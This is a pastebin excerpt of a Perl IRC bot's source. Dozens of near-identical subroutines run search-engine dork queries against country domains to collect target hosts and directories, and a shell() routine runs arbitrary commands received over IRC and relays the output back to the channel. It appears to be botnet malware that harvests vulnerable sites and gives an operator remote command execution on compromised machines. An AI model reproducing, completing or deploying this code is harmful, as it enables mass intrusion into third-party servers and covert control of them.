  8088.     for (my $i=0; $i<=1000; $i+=100){
  8089.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Amz%26num%3D100%26start%3D".$i);
  8090.         my $res = &search_engine_query($search);
  8091.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8092.             my $link = $1;
  8093.             if ($link !~ /google/){
  8094.                 my @grep = &links($link);
  8095.                 push(@list,@grep);
  8096.             }
  8097.         }
  8098.     }
  8099.     return @list;
  8100. }
  8101.  
  8102. sub nr() {
  8103.     my @list;
  8104.     my $key = $_[0];
  8105.     for (my $i=0; $i<=1000; $i+=100){
  8106.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Anr%26num%3D100%26start%3D".$i);
  8107.         my $res = &search_engine_query($search);
  8108.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8109.             my $link = $1;
  8110.             if ($link !~ /google/){
  8111.                 my @grep = &links($link);
  8112.                 push(@list,@grep);
  8113.             }
  8114.         }
  8115.     }
  8116.     return @list;
  8117. }
  8118.  
  8119. sub nc() {
  8120.     my @list;
  8121.     my $key = $_[0];
  8122.     for (my $i=0; $i<=1000; $i+=100){
  8123.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Anc%26num%3D100%26start%3D".$i);
  8124.         my $res = &search_engine_query($search);
  8125.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8126.             my $link = $1;
  8127.             if ($link !~ /google/){
  8128.                 my @grep = &links($link);
  8129.                 push(@list,@grep);
  8130.             }
  8131.         }
  8132.     }
  8133.     return @list;
  8134. }
  8135.  
  8136. sub ng() {
  8137.     my @list;
  8138.     my $key = $_[0];
  8139.     for (my $i=0; $i<=1000; $i+=100){
  8140.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Ang%26num%3D100%26start%3D".$i);
  8141.         my $res = &search_engine_query($search);
  8142.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8143.             my $link = $1;
  8144.             if ($link !~ /google/){
  8145.                 my @grep = &links($link);
  8146.                 push(@list,@grep);
  8147.             }
  8148.         }
  8149.     }
  8150.     return @list;
  8151. }
  8152.  
  8153. sub nu() {
  8154.     my @list;
  8155.     my $key = $_[0];
  8156.     for (my $i=0; $i<=1000; $i+=100){
  8157.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Anu%26num%3D100%26start%3D".$i);
  8158.         my $res = &search_engine_query($search);
  8159.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8160.             my $link = $1;
  8161.             if ($link !~ /google/){
  8162.                 my @grep = &links($link);
  8163.                 push(@list,@grep);
  8164.             }
  8165.         }
  8166.     }
  8167.     return @list;
  8168. }
  8169.  
  8170. sub pw() {
  8171.     my @list;
  8172.     my $key = $_[0];
  8173.     for (my $i=0; $i<=1000; $i+=100){
  8174.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Apw%26num%3D100%26start%3D".$i);
  8175.         my $res = &search_engine_query($search);
  8176.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8177.             my $link = $1;
  8178.             if ($link !~ /google/){
  8179.                 my @grep = &links($link);
  8180.                 push(@list,@grep);
  8181.             }
  8182.         }
  8183.     }
  8184.     return @list;
  8185. }
  8186.  
  8187. sub ps() {
  8188.     my @list;
  8189.     my $key = $_[0];
  8190.     for (my $i=0; $i<=1000; $i+=100){
  8191.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aps%26num%3D100%26start%3D".$i);
  8192.         my $res = &search_engine_query($search);
  8193.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8194.             my $link = $1;
  8195.             if ($link !~ /google/){
  8196.                 my @grep = &links($link);
  8197.                 push(@list,@grep);
  8198.             }
  8199.         }
  8200.     }
  8201.     return @list;
  8202. }
  8203.  
  8204. sub cq() {
  8205.     my @list;
  8206.     my $key = $_[0];
  8207.     for (my $i=0; $i<=1000; $i+=100){
  8208.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Acq%26num%3D100%26start%3D".$i);
  8209.         my $res = &search_engine_query($search);
  8210.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8211.             my $link = $1;
  8212.             if ($link !~ /google/){
  8213.                 my @grep = &links($link);
  8214.                 push(@list,@grep);
  8215.             }
  8216.         }
  8217.     }
  8218.     return @list;
  8219. }
  8220.  
  8221. sub re() {
  8222.     my @list;
  8223.     my $key = $_[0];
  8224.     for (my $i=0; $i<=1000; $i+=100){
  8225.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Are%26num%3D100%26start%3D".$i);
  8226.         my $res = &search_engine_query($search);
  8227.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8228.             my $link = $1;
  8229.             if ($link !~ /google/){
  8230.                 my @grep = &links($link);
  8231.                 push(@list,@grep);
  8232.             }
  8233.         }
  8234.     }
  8235.     return @list;
  8236. }
  8237.  
  8238. sub lc() {
  8239.     my @list;
  8240.     my $key = $_[0];
  8241.     for (my $i=0; $i<=1000; $i+=100){
  8242.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Alc%26num%3D100%26start%3D".$i);
  8243.         my $res = &search_engine_query($search);
  8244.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8245.             my $link = $1;
  8246.             if ($link !~ /google/){
  8247.                 my @grep = &links($link);
  8248.                 push(@list,@grep);
  8249.             }
  8250.         }
  8251.     }
  8252.     return @list;
  8253. }
  8254.  
  8255. sub pm() {
  8256.     my @list;
  8257.     my $key = $_[0];
  8258.     for (my $i=0; $i<=1000; $i+=100){
  8259.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Apm%26num%3D100%26start%3D".$i);
  8260.         my $res = &search_engine_query($search);
  8261.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8262.             my $link = $1;
  8263.             if ($link !~ /google/){
  8264.                 my @grep = &links($link);
  8265.                 push(@list,@grep);
  8266.             }
  8267.         }
  8268.     }
  8269.     return @list;
  8270. }
  8271.  
  8272. sub st() {
  8273.     my @list;
  8274.     my $key = $_[0];
  8275.     for (my $i=0; $i<=1000; $i+=100){
  8276.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Ast%26num%3D100%26start%3D".$i);
  8277.         my $res = &search_engine_query($search);
  8278.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8279.             my $link = $1;
  8280.             if ($link !~ /google/){
  8281.                 my @grep = &links($link);
  8282.                 push(@list,@grep);
  8283.             }
  8284.         }
  8285.     }
  8286.     return @list;
  8287. }
  8288.  
  8289. sub rs() {
  8290.     my @list;
  8291.     my $key = $_[0];
  8292.     for (my $i=0; $i<=1000; $i+=100){
  8293.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Ars%26num%3D100%26start%3D".$i);
  8294.         my $res = &search_engine_query($search);
  8295.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8296.             my $link = $1;
  8297.             if ($link !~ /google/){
  8298.                 my @grep = &links($link);
  8299.                 push(@list,@grep);
  8300.             }
  8301.         }
  8302.     }
  8303.     return @list;
  8304. }
  8305.  
  8306. sub gs() {
  8307.     my @list;
  8308.     my $key = $_[0];
  8309.     for (my $i=0; $i<=1000; $i+=100){
  8310.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Ags%26num%3D100%26start%3D".$i);
  8311.         my $res = &search_engine_query($search);
  8312.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8313.             my $link = $1;
  8314.             if ($link !~ /google/){
  8315.                 my @grep = &links($link);
  8316.                 push(@list,@grep);
  8317.             }
  8318.         }
  8319.     }
  8320.     return @list;
  8321. }
  8322.  
  8323. sub sl() {
  8324.     my @list;
  8325.     my $key = $_[0];
  8326.     for (my $i=0; $i<=1000; $i+=100){
  8327.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Asl%26num%3D100%26start%3D".$i);
  8328.         my $res = &search_engine_query($search);
  8329.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8330.             my $link = $1;
  8331.             if ($link !~ /google/){
  8332.                 my @grep = &links($link);
  8333.                 push(@list,@grep);
  8334.             }
  8335.         }
  8336.     }
  8337.     return @list;
  8338. }
  8339.  
  8340. sub sx() {
  8341.     my @list;
  8342.     my $key = $_[0];
  8343.     for (my $i=0; $i<=1000; $i+=100){
  8344.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Asx%26num%3D100%26start%3D".$i);
  8345.         my $res = &search_engine_query($search);
  8346.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8347.             my $link = $1;
  8348.             if ($link !~ /google/){
  8349.                 my @grep = &links($link);
  8350.                 push(@list,@grep);
  8351.             }
  8352.         }
  8353.     }
  8354.     return @list;
  8355. }
  8356.  
  8357. sub sb() {
  8358.     my @list;
  8359.     my $key = $_[0];
  8360.     for (my $i=0; $i<=1000; $i+=100){
  8361.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Asb%26num%3D100%26start%3D".$i);
  8362.         my $res = &search_engine_query($search);
  8363.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8364.             my $link = $1;
  8365.             if ($link !~ /google/){
  8366.                 my @grep = &links($link);
  8367.                 push(@list,@grep);
  8368.             }
  8369.         }
  8370.     }
  8371.     return @list;
  8372. }
  8373.  
  8374. sub so() {
  8375.     my @list;
  8376.     my $key = $_[0];
  8377.     for (my $i=0; $i<=1000; $i+=100){
  8378.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Aso%26num%3D100%26start%3D".$i);
  8379.         my $res = &search_engine_query($search);
  8380.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8381.             my $link = $1;
  8382.             if ($link !~ /google/){
  8383.                 my @grep = &links($link);
  8384.                 push(@list,@grep);
  8385.             }
  8386.         }
  8387.     }
  8388.     return @list;
  8389. }
  8390.  
  8391. sub su() {
  8392.     my @list;
  8393.     my $key = $_[0];
  8394.     for (my $i=0; $i<=1000; $i+=100){
  8395.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Asu%26num%3D100%26start%3D".$i);
  8396.         my $res = &search_engine_query($search);
  8397.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8398.             my $link = $1;
  8399.             if ($link !~ /google/){
  8400.                 my @grep = &links($link);
  8401.                 push(@list,@grep);
  8402.             }
  8403.         }
  8404.     }
  8405.     return @list;
  8406. }
  8407.  
  8408. sub kn() {
  8409.     my @list;
  8410.     my $key = $_[0];
  8411.     for (my $i=0; $i<=1000; $i+=100){
  8412.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Arokn%26num%3D100%26start%3D".$i);
  8413.         my $res = &search_engine_query($search);
  8414.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8415.             my $link = $1;
  8416.             if ($link !~ /google/){
  8417.                 my @grep = &links($link);
  8418.                 push(@list,@grep);
  8419.             }
  8420.         }
  8421.     }
  8422.     return @list;
  8423. }
  8424.  
  8425. sub sr() {
  8426.     my @list;
  8427.     my $key = $_[0];
  8428.     for (my $i=0; $i<=1000; $i+=100){
  8429.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Asr%26num%3D100%26start%3D".$i);
  8430.         my $res = &search_engine_query($search);
  8431.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8432.             my $link = $1;
  8433.             if ($link !~ /google/){
  8434.                 my @grep = &links($link);
  8435.                 push(@list,@grep);
  8436.             }
  8437.         }
  8438.     }
  8439.     return @list;
  8440. }
  8441.  
  8442. sub tz() {
  8443.     my @list;
  8444.     my $key = $_[0];
  8445.     for (my $i=0; $i<=1000; $i+=100){
  8446.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Atz%26num%3D100%26start%3D".$i);
  8447.         my $res = &search_engine_query($search);
  8448.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8449.             my $link = $1;
  8450.             if ($link !~ /google/){
  8451.                 my @grep = &links($link);
  8452.                 push(@list,@grep);
  8453.             }
  8454.         }
  8455.     }
  8456.     return @list;
  8457. }
  8458.  
  8459. sub tl() {
  8460.     my @list;
  8461.     my $key = $_[0];
  8462.     for (my $i=0; $i<=1000; $i+=100){
  8463.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Atl%26num%3D100%26start%3D".$i);
  8464.         my $res = &search_engine_query($search);
  8465.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8466.             my $link = $1;
  8467.             if ($link !~ /google/){
  8468.                 my @grep = &links($link);
  8469.                 push(@list,@grep);
  8470.             }
  8471.         }
  8472.     }
  8473.     return @list;
  8474. }
  8475.  
  8476. sub tg() {
  8477.     my @list;
  8478.     my $key = $_[0];
  8479.     for (my $i=0; $i<=1000; $i+=100){
  8480.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Atg%26num%3D100%26start%3D".$i);
  8481.         my $res = &search_engine_query($search);
  8482.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8483.             my $link = $1;
  8484.             if ($link !~ /google/){
  8485.                 my @grep = &links($link);
  8486.                 push(@list,@grep);
  8487.             }
  8488.         }
  8489.     }
  8490.     return @list;
  8491. }
  8492.  
  8493. sub tk() {
  8494.     my @list;
  8495.     my $key = $_[0];
  8496.     for (my $i=0; $i<=1000; $i+=100){
  8497.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Atk%26num%3D100%26start%3D".$i);
  8498.         my $res = &search_engine_query($search);
  8499.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8500.             my $link = $1;
  8501.             if ($link !~ /google/){
  8502.                 my @grep = &links($link);
  8503.                 push(@list,@grep);
  8504.             }
  8505.         }
  8506.     }
  8507.     return @list;
  8508. }
  8509.  
  8510. sub tn() {
  8511.     my @list;
  8512.     my $key = $_[0];
  8513.     for (my $i=0; $i<=1000; $i+=100){
  8514.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Atn%26num%3D100%26start%3D".$i);
  8515.         my $res = &search_engine_query($search);
  8516.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8517.             my $link = $1;
  8518.             if ($link !~ /google/){
  8519.                 my @grep = &links($link);
  8520.                 push(@list,@grep);
  8521.             }
  8522.         }
  8523.     }
  8524.     return @list;
  8525. }
  8526.  
  8527. sub tc() {
  8528.     my @list;
  8529.     my $key = $_[0];
  8530.     for (my $i=0; $i<=1000; $i+=100){
  8531.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Atc%26num%3D100%26start%3D".$i);
  8532.         my $res = &search_engine_query($search);
  8533.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8534.             my $link = $1;
  8535.             if ($link !~ /google/){
  8536.                 my @grep = &links($link);
  8537.                 push(@list,@grep);
  8538.             }
  8539.         }
  8540.     }
  8541.     return @list;
  8542. }
  8543.  
  8544. sub vu() {
  8545.     my @list;
  8546.     my $key = $_[0];
  8547.     for (my $i=0; $i<=1000; $i+=100){
  8548.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Avu%26num%3D100%26start%3D".$i);
  8549.         my $res = &search_engine_query($search);
  8550.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8551.             my $link = $1;
  8552.             if ($link !~ /google/){
  8553.                 my @grep = &links($link);
  8554.                 push(@list,@grep);
  8555.             }
  8556.         }
  8557.     }
  8558.     return @list;
  8559. }
  8560.  
  8561. sub wf() {
  8562.     my @list;
  8563.     my $key = $_[0];
  8564.     for (my $i=0; $i<=1000; $i+=100){
  8565.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Awf%26num%3D100%26start%3D".$i);
  8566.         my $res = &search_engine_query($search);
  8567.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8568.             my $link = $1;
  8569.             if ($link !~ /google/){
  8570.                 my @grep = &links($link);
  8571.                 push(@list,@grep);
  8572.             }
  8573.         }
  8574.     }
  8575.     return @list;
  8576. }
  8577.  
  8578. sub ws() {
  8579.     my @list;
  8580.     my $key = $_[0];
  8581.     for (my $i=0; $i<=1000; $i+=100){
  8582.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Aws%26num%3D100%26start%3D".$i);
  8583.         my $res = &search_engine_query($search);
  8584.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8585.             my $link = $1;
  8586.             if ($link !~ /google/){
  8587.                 my @grep = &links($link);
  8588.                 push(@list,@grep);
  8589.             }
  8590.         }
  8591.     }
  8592.     return @list;
  8593. }
  8594.  
  8595. sub ye() {
  8596.     my @list;
  8597.     my $key = $_[0];
  8598.     for (my $i=0; $i<=1000; $i+=100){
  8599.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Aye%26num%3D100%26start%3D".$i);
  8600.         my $res = &search_engine_query($search);
  8601.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8602.             my $link = $1;
  8603.             if ($link !~ /google/){
  8604.                 my @grep = &links($link);
  8605.                 push(@list,@grep);
  8606.             }
  8607.         }
  8608.     }
  8609.     return @list;
  8610. }
  8611.  
  8612. sub zw() {
  8613.     my @list;
  8614.     my $key = $_[0];
  8615.     for (my $i=0; $i<=1000; $i+=100){
  8616.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Azw%26num%3D100%26start%3D".$i);
  8617.         my $res = &search_engine_query($search);
  8618.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8619.             my $link = $1;
  8620.             if ($link !~ /google/){
  8621.                 my @grep = &links($link);
  8622.                 push(@list,@grep);
  8623.             }
  8624.         }
  8625.     }
  8626.     return @list;
  8627. }
  8628.  
  8629. #########################################
  8630.  
  8631. sub clean() {
  8632.     my @cln = ();
  8633.     my %visit = ();
  8634.     foreach my $element (@_) {
  8635.         $element =~ s/\/+/\//g;
  8636.         next if $visit{$element}++;
  8637.         push @cln, $element;
  8638.     }
  8639.     return @cln;
  8640. }
  8641.  
  8642. sub links() {
  8643.     my @list;
  8644.     my $link = $_[0];
  8645.     my $host = $_[0];
  8646.     my $hdir = $_[0];
  8647.     $hdir =~ s/(.*)\/[^\/]*$/\1/;
  8648.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  8649.     $host .= "/";
  8650.     $link .= "/";
  8651.     $hdir .= "/";
  8652.     $host =~ s/\/\//\//g;
  8653.     $hdir =~ s/\/\//\//g;
  8654.     $link =~ s/\/\//\//g;
  8655.     push(@list,$host,$hdir);
  8656.     return @list;
  8657. }
  8658.  
  8659. sub search_engine_query() {
  8660.     my $url = $_[0];
  8661.     $url =~ s/http:\/\///;
  8662.     my $host = $url;
  8663.     my $query = $url;
  8664.     my $page  = "";
  8665.     $host =~ s/href=\"?http:\/\///;
  8666.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  8667.     $query =~ s/$host//;
  8668.     if ($query eq "") { $query = "/"; }
  8669.         eval {
  8670.             my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  8671.             my $sget = "GET $query HTTP/1.0\r\n";
  8672.             $sget .= "Host: $host\r\n";
  8673.             $sget .= "Accept: */*\r\n";
  8674.             $sget .= "User-Agent: $uagent\r\n";
  8675.             $sget .= "Connetion: Close\r\n\r\n";
  8676.             print $sock $sget;
  8677.             my @pages = <$sock>;
  8678.             $page = "@pages";
  8679.             close($sock);
  8680.         };
  8681.     return $page;
  8682. }
  8683.  
  8684. #########################################
  8685.  
  8686. sub shell() {
  8687.     my $path = $_[0];
  8688.     my $cmd = $_[1];
  8689.     if ($cmd =~ /cd (.*)/) {
  8690.         chdir("$1") || &msg("$path","No such file or directory");
  8691.         return;
  8692.     }
  8693.     elsif ($pid = fork) { waitpid($pid, 0); }
  8694.     else { if (fork) { exit; } else {
  8695.         my @output = `$cmd 2>&1 3>&1`;
  8696.         my $c = 0;
  8697.         foreach my $output (@output) {
  8698.             $c++;
  8699.             chop $output;
  8700.             &msg("$path","$output");
  8701.             if ($c == 5) { $c = 0; sleep 3; }
  8702.         }
  8703.         exit;
  8704.     }}
  8705. }
  8706.  
  8707. sub isAdmin() {
  8708.     my $status = 0;
  8709.     my $nick = $_[0];
  8710.     if ($nick eq $admin) { $status = 1; }
  8711.     return $status;
  8712. }
  8713.  
  8714. sub msg() {
  8715.     return unless $#_ == 1;
  8716.     sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  8717. }
  8718.  
  8719. sub nick() {
  8720.     return unless $#_ == 0;
  8721.     sendraw("NICK $_[0]");
  8722. }
  8723. sub notice() {
  8724.     return unless $#_ == 1;
  8725.     sendraw("NOTICE $_[0] :$_[1]");
  8726. }
RAW Paste Data